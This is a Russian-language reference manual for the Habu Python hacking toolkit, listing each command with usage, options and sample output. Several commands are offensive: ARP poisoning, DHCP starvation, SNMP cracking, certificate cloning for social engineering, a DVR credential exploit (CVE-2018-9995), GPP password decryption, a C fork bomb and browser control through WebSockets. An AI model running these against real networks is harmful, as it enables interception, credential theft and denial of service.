Habu

Описание Habu

Habu — это набор инструментов на Python предназначенных для сбора информации, исследования и хакинга сети.

Некоторые из возможностей:

  • ARP Poisoning
  • ARP Sniffing
  • Обнаружение DHCP
  • DHCP Starvation (атака, при которой злоумышленник занимает все IP адреса)
  • Фальшивый сервер FTP
  • Атака LAND
  • Взлом SNMP
  • Идентификация субдоменов
  • Клонер сертификатов SSL/TLS
  • SYN флудинг
  • Анализ флагов TCP
  • Анализ TCP ISN
  • Сканирование портов TCP
  • Проверка имени пользователя по социальным сетям
  • Идентификация виртуальных хостов
  • Идентификация веб-технологий

Домашняя страница: https://github.com/portantier/habu

Автор: Fabian Martinez Portantier

Лицензия: BSD-3-Clause

Справка по Habu

Пакет Habu включает в себя большое количество утилит каждая из которых выполняет одну функцию.

habu.arp.ping

Использование:

habu.arp.ping [ОПЦИИ] IP

Отправляет ARP пакеты для проверки, присутствует ли хост в локальной сети.

Пример:

sudo habu.arp.ping 192.168.0.1
  Ether / ARP is at a4:08:f5:19:17:a4 says 192.168.0.1 / Padding

Опции:

  -i TEXT  Интерфейс для использования
  -v       Подробный вывод
  --help   Показать справку и выйти.

habu.arp.poison

Использование:

habu.arp.poison [ОПЦИИ] ЖЕРТВА1 ЖЕРТВА2

Выполняет ARP спуфинг, то есть отправляет ARP пакеты 'is-at' каждой жертве, вызывая отравление (poisoning) их ARP таблиц, чтобы они начали отправлять трафик через вашу систему.

Помните, что если вы хотите полноценную атаку человек-посередине, то вам нужно включить перенаправление (forwarding) пакетов на вашей операционной системе, в результате она будет работать как роутер. На Linux вы можете это сделать используя:

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Пример:

sudo habu.arpoison 192.168.0.1 192.168.0.77
  Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
  Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70
  Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
  ...

Опции:

  -i TEXT  Интерфейс для использования
  -v       Подробный вывод
  --help   Показать справку и выйти.

habu.arp.sniff

Использование:

habu.arp.sniff [ОПЦИИ]

Прослушивает ARP пакеты и показывает информацию о каждом устройстве в локальной сети.

Колонки: Секунды с последнего пакета | IP | MAC | Производитель

Пример вывода собранных данных:

  1   192.168.0.1     a4:08:f5:19:17:a4   Sagemcom Broadband SAS
  7   192.168.0.2     64:bc:0c:33:e5:57   LG Electronics (Mobile Communications)
  2   192.168.0.5     00:c2:c6:30:2c:58   Intel Corporate
  6   192.168.0.7     54:f2:01:db:35:58   Samsung Electronics Co.,Ltd

Опции:

  -i TEXT  Интерфейс для использования
  --help   Показать справку и выйти.

habu.asydns

Использование:

habu.asydns [ОПЦИИ]

Запрашивает DNS доменного имени на основе публичных и приватных RSA ключей используя протокол AsyDNS: https://github.com/portantier/asydns

Пример:

habu.asydns -v
  Generating RSA key ...
  Loading RSA key ...
  {
      "ip": "181.31.41.231",
      "name": "07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org"
  }

Проверка:

dig +short 07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org
  181.31.41.231

Опции:

  -u TEXT  API URL
  -g       Принудительная генерация новой пары ключей
  -r       Отозвать публичный ключ
  -v       Вербальный вывод
  --help   Показать справку и выйти.

habu.b64

Использование:

habu.b64 [ОПЦИИ] [F]

Кодирует или декодирует данные в base64, работает в точности как команда base64.

Примеры:

echo awesome | habu.b64
  YXdlc29tZQo=

echo YXdlc29tZQo= | habu.b64 -d
  awesome

Опции:

  -d      декодировать вместо кодирования
  --help  Показать справку и выйти.

habu.cert.clone

Использование:

habu.cert.clone [ОПЦИИ] ИМЯ_ХОСТА ПОРТ KEYFILE CERTFILE

Подключается к SSL/TLS серверу, получает сертификат и генерирует сертификат с такими же опциями и значениями полей.

Примечание: сгенерированный сертификат не является действительным, но может использоваться для атак социальной инженерии.

Пример:

habu.certclone www.google.com 443 /tmp/key.pem /tmp/cert.pem

Опции:

  --copy-extensions  Копировать расширения сертификата (по умолчанию: False)
  --expired          Сгенерировать просроченный сертификат (по умолчанию: False)
  -v                 Подробный вывод
  --help             Показать справку и выйти.

habu.cert.names

Использование:

habu.cert.names [ОПЦИИ] [СЕТЬ]

Подключается к каждому хосту/порту и показывает краткую информацию об именах сертификатов.

Хосты для подключения берутся из двух возможных опций:

1) опция -i (по умолчанию стандартный ввод stdin). Файл, в котором каждая строка это хост или сеть

2) Аргумент, который может быть хостом или сетью

Если вы используете оба метода, то хосты и сети сливаются в один список.

Пример:

habu.cert.names 2.18.60.240/29
  2.18.60.241         443 i.s-microsoft.com microsoft.com privacy.microsoft.com
  2.18.60.242         443 aod-ssl.itunes.apple.com aod.itunes.apple.com aodp-ssl.itunes.apple.com
  2.18.60.243         443 *.mlb.com mlb.com
  2.18.60.244         443 [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1056)
  2.18.60.245         443 cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com
  2.18.60.246         443 *.blog.sina.com.cn *.dmp.sina.cn

  aod.itunes.apple.com aodp-ssl.itunes.apple.com aod-ssl.itunes.apple.com
  *.blog.sina.com.cn cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-
  ubiservices.ubi.com *.dmp.sina.cn i.s-microsoft.com microsoft.com
  *.mlb.com mlb.com privacy.microsoft.com

Опции:

  -p TEXT      Порты для подключения (список, разделённый запятой)
  -i ИМЯ_ФАЙЛА  Файл ввода (По умолчанию: stdin)
  -t ЧИСЛО     Время ожидания для каждого подключения
  -v           Подробный вывод
  --help       Показать справку и выйти.

habu.config.del

Использование:

habu.config.del [ОПЦИИ] КЛЮЧ

Удаляет КЛЮЧ из конфигурации.

Помните: по умолчанию КЛЮЧ конвертируется в буквы верхнего регистра.

Пример:

habu.config.del DNS_SERVER

Опции:

  --help  Показать справку и выйти.

habu.config.set

Использование:

habu.config.set [ОПЦИИ] КЛЮЧ ЗНАЧЕНИЕ

Установить ЗНАЧЕНИЕ в настройки КЛЮЧА.

Помните: по умолчанию КЛЮЧ конвертируется в буквы верхнего регистра.

Пример:

habu.config.set DNS_SERVER 8.8.8.8

Опции:

  --help  Показать справку и выйти.

habu.config.show

Использование:

habu.config.show [ОПЦИИ]

Показать текущую конфигурацию.

Помните: по умолчанию параметры с именем «KEY» спрятаны за звёздочками.

Пример:

habu.config.show
  {
      "DNS_SERVER": "8.8.8.8",
      "FERNET_KEY": "*************"
  }

Опции:

  -k, --show-keys   Показать также значения ключей
  --option TEXT...  Записать конфигурационный файл (КЛЮЧ ЗНАЧЕНИЕ)
  --help            Показать справку и выйти.

habu.contest

Использование:

habu.contest [ОПЦИИ]

Пытается подключиться к различным службам и проверяет, может ли их достичь используя ваше Интернет-подключение.

Пример:

habu.contest
  IP:    True
  DNS:   True
  FTP:   True
  SSH:   True
  HTTP:  True
  HTTPS: True

Опции:

  --help  Показать справку и выйти.

habu.crack.luhn

Использование:

habu.crack.luhn [ОПЦИИ] НОМЕР

Алгоритм Лу́на (англ. Luhn algorithm) — алгоритм вычисления контрольной цифры номера пластиковой карты в соответствии со стандартом ISO/IEC 7812. Не является криптографическим средством, а предназначен в первую очередь для выявления ошибок, вызванных непреднамеренным искажением данных (например, при ручном вводе номера карты, при приёме данных о номере социального страхования по телефону). Позволяет лишь с некоторой степенью достоверности судить об отсутствии ошибок в блоке цифр, но не даёт возможности нахождения и исправления обнаруженной неточности.

Наиболее распространённые применения для подсчёта контрольной цифры:

  • Номера всех банковских карт
  • Номера некоторых дисконтных карт
  • Коды социального страхования
  • IMEI-коды.
  • Расчёт контрольного знака единого 8-значного номера железнодорожного вагона на РЖД.
  • Расчёт ICCID (англ. integrated circuit card identifier) — уникальный серийный номер SIM-карты.

Данная программа проверяет на правильность числа, в которых используется контрольное число алгоритма Луна, а также по известным цифрам показывает возможные варианты.

Числами, которые используют алгоритм Luhn для проверки, являются Кредитные карты, IMEI, Национальным Идентификатором Поставщика в Соединенных Штатах, Канадские Номера социального страхования, Идентификационные номера Израиля и Греческие номерами социального страхования (ΑΜΚΑ).

Символ тире '' игнорируется.

Пропущенные числа обозначьте с помощью символа 'x'.

Подробности об алгоритме Луна: https://ru.wikipedia.org/wiki/Алгоритм_Луна

Пример:

habu.crack.luhn 4509-xxxx-3160-6445

Опции:

  --help  Показать справку и выйти.

habu.crack.snmp

Использование:

habu.crack.snmp [ОПЦИИ] IP

Запускает snmp-get запросы к IP и сообщает, когда находит допустимую строку community (это простой взломщик SNMP).

Используется словарь, который поставляется с инструментом onesixtyone.

Пример:

habu.crack.snmp 179.125.234.210
  Community found: private
  Community found: public

Примечание: вы также можете получать сообщения вроде \<UNIVERSAL\> \<class 'scapy.asn1.asn1.ASN1\_Class\_metaclass'\>, в настоящее время автор не знает как их подавить.

Опции:

  -p ЧИСЛО  Порт для использования
  -c TEXT     Community (по умолчанию: список самых используемых)
  -s          Остановится после первого совпадения
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.crtsh

Использование:

habu.crtsh [ОПЦИИ] ДОМЕН

Загружает логи certificate transparency для домена и проверяет с помощью DNS запросов существование каждого домена.

Использует многопоточность для улучшения производительности DNS запросов.

Пример:

habu.crtsh securetia.com
  [
      "karma.securetia.com.",
      "www.securetia.com."
  ]

Опции:

  -c      Отключить кэш
  -n      Отключить DNS проверку субдоменов
  -v      Подробный вывод
  --help  Показать справку и выйти.

habu.cve.2018.9995

Использование:

habu.cve.2018.9995 [ОПЦИИ] IP

Эксплуатирует уязвимость CVE-2018-9995, присутствующую на различных системах DVR.

Примечание: основывается на оригинальном коде от Ezequiel Fernandez (@capitan_alfa).

Ссылка: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9995

Пример:

python habu.cve.2018-9995 82.202.102.42
  [
      {
          "uid": "admin",
          "pwd": "securepassword",
          "role": 2,
          "enmac": 0,
          "mac": "00:00:00:00:00:00",
          "playback": 4294967295,
          "view": 4294967295,
          "rview": 4294967295,
          "ptz": 4294967295,
          "backup": 4294967295,
          "opt": 4294967295
      }
  ]

Опции:

  -p ЧИСЛО  Порт для использования (по умолчанию: 80)
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.cymon.ip

Использование:

habu.cymon.ip [ОПЦИИ] IP

Простой клиент для API cymon.

Печатает JSON результат для запроса к cymon об IP.

Пример:

habu.cymon.ip 8.8.8.8
  {
      "addr": "8.8.8.8",
      "created": "2015-03-23T12:03:42Z",
      "updated": "2018-08-24T04:06:07Z",
      "sources": [
          "safeweb.norton.com",
          "botscout.com",
          "virustotal.com",
          "phishtank"
      ],
      "events": "https://www.cymon.io/api/nexus/v1/ip/8.8.8.8/events",
      "domains": "https://www.cymon.io/api/nexus/v1/ip/8.8.8.8/domains",
      "urls": "https://www.cymon.io/api/nexus/v1/ip/8.8.8.8/urls"
  }

Опции:

  -c           Отключить кэш
  -v           Подробный вывод
  -o ИМЯ_ФАЙЛА  Файл вывода (по умолчанию: stdout)
  --help       Показать справку и выйти.

habu.cymon.ip.timeline

Использование:

habu.cymon.ip.timeline [ОПЦИИ] IP

Простой клиент cymon API.

Печатает результат в JSON запроса timeline к cymon об IP.

Пример:

habu.cymon.ip.timeline 8.8.8.8
  {
      "timeline": [
          {
              "time_label": "Aug. 18, 2018",
              "events": [
                  {
                      "description": "Posted: 2018-08-18 23:37:39 CEST IDS Alerts: 0 URLQuery Alerts: 1 ...",
                      "created": "2018-08-18T21:39:07Z",
                      "title": "Malicious activity reported by urlquery.net",
                      "details_url": "http://urlquery.net/report/b1393866-9b1f-4a8e-b02b-9636989050f3",
                      "tag": "malicious activity"
                  }
              ]
          },
          ...

Опции:

  -c           Отключить кэш
  -v           Подробный вывод
  -o ИМЯ_ФАЙЛА  Файл вывода (по умолчанию: stdout)
  -p           Симпатичный вывод
  --help       Показать справку и выйти.

habu.data.extract.domain

Использование:

habu.data.extract.domain [ОПЦИИ] [INFILE]

Извлекает валидные домены из файла или stdin (стандартного ввода).

Опционально, проверяет каждый домен на наличие NS записей для доменов.

Пример:

cat /var/log/some.log | habu.data.extract.domain -c
  google.com
  ibm.com
  redhat.com

Опции:

  -c      Проверяет, установлены ли у домена NS сервера
  -v      Подробный вывод
  -j      JSON вывод
  --help  Показать справку и выйти.

habu.data.extract.email

Использование:

habu.data.extract.email [ОПЦИИ] [INFILE]

Извлекает email адреса из файла или stdin (стандартного ввода).

Пример:

cat /var/log/auth.log | habu.data.extract.email
  john@securetia.com
  raven@acmecorp.net
  nmarks@fimax.com

Опции:

  -v      Подробный вывод
  -j      вывод в формате JSON
  --help  Показать справку и выйти.

habu.data.extract.fqdn

Использование:

habu.data.extract.fqdn [ОПЦИИ] [INFILE]

Извлекает FQDN (Полностью квалифицированные доменные имена) из файла или стандартного ввода (stdin).

Пример:

cat /var/log/some.log | habu.data.extract.fqdn
  www.google.com
  ibm.com
  fileserver.redhat.com

Опции:

  -c      Проверить, существуют ли для имён хостов IP адреса
  -v      Подробный вывод
  -j      вывод в формате JSON
  --help  Показать справку и выйти.

habu.data.extract.ipv4

Использование:

habu.data.extract.ipv4 [ОПЦИИ] [INFILE]

Извлекает IPv4 адреса из файла или стандартного ввода (stdin).

Пример:

cat /var/log/auth.log | habu.data.extract.ipv4
  172.217.162.4
  23.52.213.96
  190.210.43.70

Опции:

  -j, --json    вывод в формате JSON
  -u, --unique  Удаить повторения
  -v            Повторный вывод
  --help        Показать справку и выйти.

habu.data.filter

Использование:

habu.data.filter [ОПЦИИ] ПОЛЕ [gt|lt|eq|ne|ge|le|in|contains|defined
                        |undefined|true|false] [ЗНАЧЕНИЕ]

Фильтрует данные на основе операторов.

Пример:

cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US
  [
      {
          "item": "8.8.8.8",
          "family": "ipv4_address",
          "asn": "15169",
          "net": "8.8.8.0/24",
          "cc": "US",
          "rir": "ARIN",
          "asname": "GOOGLE - Google LLC, US"
      }
  ]

Опции:

  -i ИМЯ_ФАЙЛА  Файл ввода (по умолчанию: stdin)
  -v           Подробный вывод
  --not        Негативное сравнение (совпавшими считаются те, которые не содержат искомой строки)
  --help       Показать справку и выйти.

habu.decrypt.gppref

Использование:

habu.decrypt.gppref [ОПЦИИ] ПАРОЛЬ

Расшифровывает пароль локальных пользователей добавленных через настройки групповой политики Windows 2008.

Это значение является атрибутом cpassword, встроенным в файл Groups.xml, который хранится в общей папке Sysvol контроллера домена.

Пример:

habu.decrypt.gppref AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
  testpassword

Опции:

  --help  Показать справку и выйти.

habu.dhcp.discover

Использование:

habu.dhcp.discover [ОПЦИИ]

Отправляет DHCP запрос и показывает, какие устройства ответили.

Помните: используя '-v' вы можете видеть все опции (такие как DNS сервера), включённые в ответы.

sudo habu.dhcp.discover
  Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP

Опции:

  -i TEXT     Интерфейс для использования
  -t INTEGER  Время (в секундах) для ожидания ответов
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.dhcp.starvation

Использование:

habu.dhcp.starvation [ОПЦИИ]

Отправляет множество DHCP запросов с поддельных MAC адресов для заполнения всех свободных для аренды IP адресов у DHCP сервера.

Когда все доступные сетевые адреса назначены, сервер DHCP перестаёт отправлять ответы.

В результате могут быть сделаны некоторые атаки, такие как подмена DHCP.

sudo habu.dhcp.starvation
  Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
  Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
  Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP

Опции:

  -i TEXT     Интерфейс для использования
  -t ЧИСЛО  Время (в секундах) для ожидания ответов
  -s ЧИСЛО  Время (в секундах) между запросами
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.dns.lookup.forward

Использование:

habu.dns.lookup.forward [ОПЦИИ] ИМЯ_ХОСТА

Выполняет прямой запрос (по имени получает IP адрес) для заданного имени хоста.

Пример:

habu.dns.lookup.forward google.com
  {
      "ipv4": "172.217.168.46",
      "ipv6": "2a00:1450:400a:802::200e"
  }

Опции:

  -v      Verbose output
  --help  Показать справку и выйти.

habu.dns.lookup.reverse

Использование:

habu.dns.lookup.reverse [ОПЦИИ] IP_АДРЕС

Выполняет обратное преобразование заданного IP адреса, то есть по IP адресу узнаёт имя хоста.

Пример:

habu.dns.lookup.reverse 8.8.8.8
  {
      "hostname": "google-public-dns-a.google.com"
  }

Опции:

  -v      Подробный вывод
  --help  Показать справку и выйти.

habu.eicar

Использование:

habu.eicar [ОПЦИИ]

Печатает текстовую строку EICAR, которая может использоваться для тестирования антивирусного программного обеспечения.

EICAR (или EICAR-Test-File — от European Institute for Computer Antivirus Research) — стандартный файл, применяемый для проверки, работает ли антивирус. По сути вирусом не является; будучи запущенным как COM-файл DOS, всего лишь выводит текстовое сообщение и возвращает управление DOS. Программа работает в средах, поддерживающих выполнение 16-битного ПО для DOS, таких как MS-DOS, OS/2, Windows 9x и 32-битные Windows NT. Под 64-битными версиями Windows файл не запускается.

Пример:

habu.eicar
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Опции:

  --help  Показать справку и выйти.

habu.expand

Использование:

habu.expand [ОПЦИИ]

Получает некоторые данные об IP адресах.

Пример:

cat /var/log/auth.log | habu.extract.ipv4 | habu.expand
  [
      {
          "asset": "8.8.8.8",
          "family": "IPAddress",
          "asn": "15169",
          "net": "8.8.8.0/24",
          "cc": "US",
          "rir": "ARIN",
          "asname": "GOOGLE - Google LLC, US"
      },
      {
          "asset": "8.8.4.4",
          "family": "IPAddress",
          "asn": "15169",
          "net": "8.8.4.0/24",
          "cc": "US",
          "rir": "ARIN",
          "asname": "GOOGLE - Google LLC, US"
      }
  ]

Опции:

  -i ИМЯ_ФАЙЛА  Файл ввода (По умолчанию: stdin)
  -v           Подробный вывод
  --help       Показать справку и выйти.

habu.fernet

Использование:

habu.fernet [ОПЦИИ]

Шифрует строку с помощью шифра Fernet.

Использует AES-128-CBC с HMAC

Примечание: вы должны использовать ключ для шифрования с Fernet.

Используйте параметр -k или установите в конфигурации значение FERNET_KEY.

Ключ может быть сгенерирован командой habu.fernet.genkey.

Дополнительная информация: https://github.com/fernet/spec/blob/master/Spec.md

Пример:

"I want to protect this string" | habu.fernet
  gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA...

echo gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... | habu.fernet -d
  I want to protect this string

Опции:

  -k TEXT        Ключ
  -d             Расшифровать вместо шифрования
  --ttl ЧИСЛО  Время жизни для верификации метки времени
  -i ИМЯ_ФАЙЛА    Файл ввода (по умолчанию: stdin)
  -o ИМЯ_ФАЙЛА    Файл вывода (по умолчанию: stdout)
  --help         Показать справку и выйти.

habu.fernet.genkey

Использование:

habu.fernet.genkey [ОПЦИИ]

Генерирует новый ключ Fernet, опционально записывается ~/.habu.json

Пример:

habu.fernet.genkey
  xgvWCIvjwe9Uq7NBvwO796iI4dsGD623QOT9GWqnuhg=

Опции:

  -w      Write this key to ~/.habu.json
  --help  Показать справку и выйти.

habu.forkbomb

Использование:

habu.forkbomb [ОПЦИИ] [bash|batch|c|haskell|perl|php|python|ruby]

Эта программа выводит исходный код для так называемых fork бомб на различных языках программирования.

Fork бобма — это небольшой код, который многократно дублирует себя, запуская свой процесс снова и снова, пока в системе не кончатся ресурса и пока она не зависит.

В настоящее время поддерживаются: bash, batch, c, haskell, perl, php, python, ruby.

Пример:

habu.forkbomb c
  #include <unistd.h>
  int main()
  {
      while(1)
      {
          fork();
      }
      return 0;
  }

Опции:

  --help  Показать справку и выйти.

habu.fqdn.finder

Использование:

habu.fqdn.finder [ОПЦИИ] [ДОМЕНЫ]...

Использует различные техники для получения действительных FQDN («полностью определённое имя домена») указанных доменов:

1. Проверяет журналы Certificate Transparency

2. Подключается к указанным портам, получает SSL сертификаты и получает из них FQDN

Новая версия также будет делать:

3. Брут-форсить DNS Brute на распространённые имена

4. В начале пробовать DNS Zone Transfer

Результаты проверяются и очищаются от FQDN, которые не преобразовываются с помощью DNS (то есть которые не имеют IP адреса).

Пример:

habu.fqdn.finder educacionit.com
  barometrosalarial.educacionit.com
  blog.educacionit.com
  ci.educacionit.com
  educacionit.com
  intranet.educacionit.com
  lecdev.educacionit.com
  lecweb.educacionit.com
  mail.educacionit.com
  plantillas.educacionit.com
  www.educacionit.com

Опции:

  -t ЧИСЛО                  Время для ожидания каждого подключения
  -v                        Подробный вывод
  --debug                   Вывод отладочных сообщений
  --connect / --no-connect  Получить FQDN из SSL сертификатов
  --brute / --no-brute      Запустить DNS брут-форс доменов
  --links / --no-links      Извлечь FQDN из ссылок веб-сайта
  --xfr / --no-xfr          Пробовать выполнить DNS zone transfer в отношении доменов
  --ctlog / --no-ctlog      Пробовать получить FQDN из журналов Certificate 
                            Transparency
  --json                    Напечатать вывод в формате JSON
  --help                    Показать справку и выйти.

habu.gateway.find

Использование:

habu.gateway.find [ОПЦИИ] СЕТЬ

Пытается достичь внешний IP, используя каждый хост как роутер. Полезна при поиске роутеров в сети.

Вначале программа использует arping для выявления живых хостов и получения MAC адресов.

Позже создаёт сетевые пакеты и указывает каждый MAC адрес в качестве хоста назначения.

Наконец печатает устройства, которые корректно перенаправили пакеты.

Примеры:

habu.gateway.find 192.168.0.0/24
  192.168.0.1 a4:08:f5:19:17:a4 Sagemcom
  192.168.0.7 b0:98:2b:5d:22:70 Sagemcom
  192.168.0.8 b0:98:2b:5d:1f:e8 Sagemcom

Опции:

  -i TEXT                Интерфейс для использования
  --host TEXT            Целевой хост (по умолчанию: 8.8.8.8)
  --tcp                  Использовать TCP вместо ICMP
  --dport ДИАПАЗОН ЧИСЕЛ  Порт назначения для TCP (по умолчанию: 80)
  --timeout ЧИСЛО      Время ожидания в секундах (по умолчанию: 5)
  -v                     Подробный вывод
  --help                 Показать справку и выйти.

habu.h1.scope

Использование:

habu.h1.scope [ОПЦИИ] [INFILE]

Парсит HackerOne scope specification в формат BurpSuite JSON.

Пример:

habu.h1.scope starbucks.json
  app.starbucks.com
  card.starbucks.com.sg
  cart.starbucks.co.jp
  ec.starbucks.com.cn
  gift.starbucks.co.jp
  login.starbucks.co.jp
  preview.starbucks.com
  www.istarbucks.co.kr
  www.starbucks.ca
  www.starbucks.co.jp
  www.starbucks.co.uk
  www.starbucks.com
  www.starbucks.com.br
  www.starbucks.com.cn
  www.starbucks.com.sg
  www.starbucks.de
  www.starbucks.fr
  www.starbucksreserve.com
  www.teavana.com

Опции:

  -j      Вывод в формате JSON
  --help  Показать справку и выйти.

habu.hasher

Использование:

habu.hasher [ОПЦИИ] [F]

Рассчитывает различные хеши для вводимых данных, которые могут быть файлом, строкой или потоком.

Пример:

habu.hasher README.rst
  md5          992a833cd162047daaa6a236b8ac15ae README.rst
  ripemd160    0566f9141e65e57cae93e0e3b70d1d8c2ccb0623 README.rst
  sha1         d7dbfd2c5e2828eb22f776550c826e4166526253 README.rst
  sha256       6bb22d927e1b6307ced616821a1877b6cc35e... README.rst
  sha512       8743f3eb12a11cf3edcc16e400fb14d599b4a... README.rst
  whirlpool    96bcc083242e796992c0f3462f330811f9e8c... README.rst

Вы можете также указать, какой алгоритм использовать. В этом случае вывод будет выведено только значение рассчитанного хеша:

habu.hasher -a md5 README.rst
  992a833cd162047daaa6a236b8ac15ae README.rst

Опции:

  -a [md5|sha1|sha256|sha512|ripemd160|whirlpool]
                                  Только этот алгоритм (По умолчанию: все)
  --help                          Показать справку и выйти.

habu.host

Использование:

habu.host [ОПЦИИ]

Собирает информацию о хосте, где запущен habu.

Пример:

habu.host
  {
      "kernel": [
          "Linux",
          "demo123",
          "5.0.6-200.fc29.x86_64",
          "#1 SMP Wed Apr 3 15:09:51 UTC 2019",
          "x86_64",
          "x86_64"
      ],
      "distribution": [
          "Fedora",
          "29",
          "Twenty Nine"
      ],
      "libc": [
          "glibc",
          "2.2.5"
      ],
      "arch": "x86_64",
      "python_version": "3.7.3",
      "os_name": "Linux",
      "cpu": "x86_64",
      "static_hostname": "demo123",
      "fqdn": "demo123.lab.sierra"
  }

Опции:

  -v      Подробный вывод.
  --help  Показать справку и выйти.

habu.http.headers

Использование:

habu.http.headers [ОПЦИИ] СЕРВЕР

Получает HTTP заголовки веб-сервера.

Пример:

habu.http.headers http://duckduckgo.com
  {
      "Server": "nginx",
      "Date": "Sun, 14 Apr 2019 00:00:55 GMT",
      "Content-Type": "text/html",
      "Content-Length": "178",
      "Connection": "keep-alive",
      "Location": "https://duckduckgo.com/",
      "X-Frame-Options": "SAMEORIGIN",
      "Content-Security-Policy": "default-src https: blob: data: 'unsafe-inline' 'unsafe-eval'",
      "X-XSS-Protection": "1;mode=block",
      "X-Content-Type-Options": "nosniff",
      "Referrer-Policy": "origin",
      "Expect-CT": "max-age=0",
      "Expires": "Mon, 13 Apr 2020 00:00:55 GMT",
      "Cache-Control": "max-age=31536000"
  }

Опции:

  -v      Подробный вывод
  --help  Показать справку и выйти.

habu.http.options

Использование:

habu.http.options [ОПЦИИ] СЕРВЕР

Получает доступные HTTP методы веб-сервера.

Пример:

habu.http.options -v http://google.com
  {
      "allowed": "GET, HEAD"
  }

Опции:

  -v      Подробный вывод
  --help  Показать справку и выйти.

habu.http.tech

Использование:

habu.http.tech [ОПЦИИ] URL

Использует базу данных Wappalyzer apps.json для идентификации технологий, используемых в веб-приложении.

Ссылка: https://github.com/AliasIO/Wappalyzer

Примечание: этот инструмент отправлят один запрос. Поэтому он малозаметен и не вызывает подозрения.

Пример:

habu.http.tech https://woocomerce.com
  Google Tag Manager       unknown
  MySQL                    unknown
  Nginx                    unknown
  PHP                      unknown
  Prototype                unknown
  RequireJS                unknown
  WooCommerce              3.8.0
  WordPress                5.2.4
  Yoast SEO                10.0.1

Опции:

  --cache / --no-cache
  --format [txt|csv|json]  Формат вывода
  -v                       Подробный вывод
  --help                   Показать справку и выйти.

habu.interfaces

Использование:

habu.interfaces [ОПЦИИ]

Показывает сетевые интерфейсы, которые доступны в системе.

Пример:

sudo habu.interfaces
  #  NAME                            MAC                INET             INET6
  0  eth0                            80:fa:5b:4b:f9:18  None             None
  1  lo                              00:00:00:00:00:00  127.0.0.1        ::1
  2  wlan0                           f4:96:34:e5:ae:1b  192.168.0.6      None
  3  vboxnet0                        0a:00:27:00:00:00  192.168.56.1     fe80::800:27ff:fe00:0

Опции:

  -j      Вывод в формате JSON
  --help  Показать справку и выйти.

habu.ip

Использование:

habu.ip [ОПЦИИ]

Получает публичный IP адрес подключения используя сервис https://api.ipify.org.

Пример:

habu.ip
  80.219.53.185

Опции:

  -4, --ipv4  Вывести ваш публичный IPv4 адрес (по умолчанию)
  -6, --ipv6  Вывести ваш публичный IPv6 адрес
  -j, --json  Напечатать вывод в формате JSON
  --help      Показать справку и выйти.

habu.ip2asn

Использование:

habu.ip2asn [ОПЦИИ] IP

Использует сервис Team Cymru ip2asn для получения информации о публичном IPv4/IPv6.

Информация: https://www.team-cymru.com/IP-ASN-mapping.html

Пример:

habu.ip2asn 8.8.8.8
  {
      "asn": "15169",
      "net": "8.8.8.0/24",
      "cc": "US",
      "rir": "ARIN",
      "asname": "GOOGLE - Google LLC, US",
      "country": "United States"
  }

Опции:

  --help  Показать справку и выйти.

habu.ip.geolocation

Использование:

habu.ip.geolocation [ОПЦИИ] IP_АДРЕС

Получает данные о расположении IP адреса от https://ipapi.co/.

Пример:

habu.ip.geolocation 8.8.8.8
  {
      "ip": "8.8.8.8",
      "city": "Mountain View",
      ...
      "asn": "AS15169",
      "org": "Google LLC"
  }

Опции:

  -v      Подробный вывод.
  --help  Показать справку и выйти.

habu.ip.internal

Использование:

habu.ip.internal [ОПЦИИ]

Получает локальные(ые) IP адреса сетевых интерфейсов в системе.

Пример:

habu.ip.internal
  {
    "lo": {
      "ipv4": [
        {
          "addr": "127.0.0.1",
          "netmask": "255.0.0.0",
          "peer": "127.0.0.1"
        }
      ],
      "link_layer": [
        {
          "addr": "00:00:00:00:00:00",
          "peer": "00:00:00:00:00:00"
        }
      ],
      "ipv6": [
        {
          "addr": "::1",
          "netmask": "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"
        }
      ]
    },
  ...

Опции:

  -v      Подробный вывод.
  --help  Показать справку и выйти.

habu.isn

Использование:

habu.isn [ОПЦИИ] IP

Создаёт TCP подключения и печатает номера начальных последовательностей TCP для каждого из них.

sudo habu.isn -c 5 www.portantier.com
  1962287220
  1800895007
  589617930
  3393793979
  469428558

Обратите внимание: вы можете получить графическое представление (чтобы это работало нужен пакет matplotlib) для лучшего понимания случайности, для этого укажите опцию '-g'.

Опции:

  -p ЧИСЛО  Порт для использования (по умолчанию: 80)
  -c ЧИСЛО  Как много пакетов отправить/получить (по умолчанию: 5)
  -i TEXT     Интерфейс для использования
  -g          Построить граф (требуется matplotlib)
  -v          Подробный вывод
  --help      Показать справку и выйти.

habu.jshell

Использование:

habu.jshell [ОПЦИИ]

Контролирует веб-браузер через Websockets.

Привязывается к порту (по умолчанию 3333) и прослушивает HTTP подключения.

При подключении отправляет JavaScript код, который открывает WebSocket, который может использоваться для отправки команд к подключённому браузеру.

Вы можете писать команды напрямую в шел или использовать плагины, которые являются просто внешними файлами JavaScript.

